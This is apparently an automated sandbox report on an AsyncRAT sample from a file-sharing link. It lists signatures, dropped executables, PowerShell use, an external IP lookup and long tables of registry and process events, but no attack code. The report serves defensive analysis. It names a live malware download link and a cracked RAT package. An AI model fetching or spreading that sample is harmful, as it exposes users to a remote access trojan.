Malware Analysis Report

2024-11-15 08:36

Sample ID 240901-l9tczsycpc
Target https://gofile.io/d/E8ookh
Tags
asyncrat default agilenet discovery execution rat upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file https://gofile.io/d/E8ookh was found to be: Known bad.

Malicious Activity Summary

asyncrat default agilenet discovery execution rat upx

AsyncRat

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Loads dropped DLL

Executes dropped EXE

UPX packed file

Obfuscated with Agile.Net obfuscator

Looks up external IP address via web service

Browser Information Discovery

System Location Discovery: System Language Discovery

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-01 10:14

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-01 10:14

Reported

2024-09-01 10:18

Platform

win10-20240404-en

Max time kernel

240s

Max time network

237s

Command Line

"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gofile.io/d/E8ookh

Signatures

AsyncRat

rat asyncrat

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\ProgramData\vshost\vshost.exe N/A
N/A N/A C:\ProgramData\winst\winst.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Browser Information Discovery

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\vshost\vshost.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\winst\winst.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Internet Explorer\TypedURLs C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
Key created \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Internet Explorer\TypedURLs C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
Key created \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Internet Explorer\TypedURLs C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133696592783952756" C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\xKeyGenerator.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1680 wrote to memory of 4916 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 4916 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
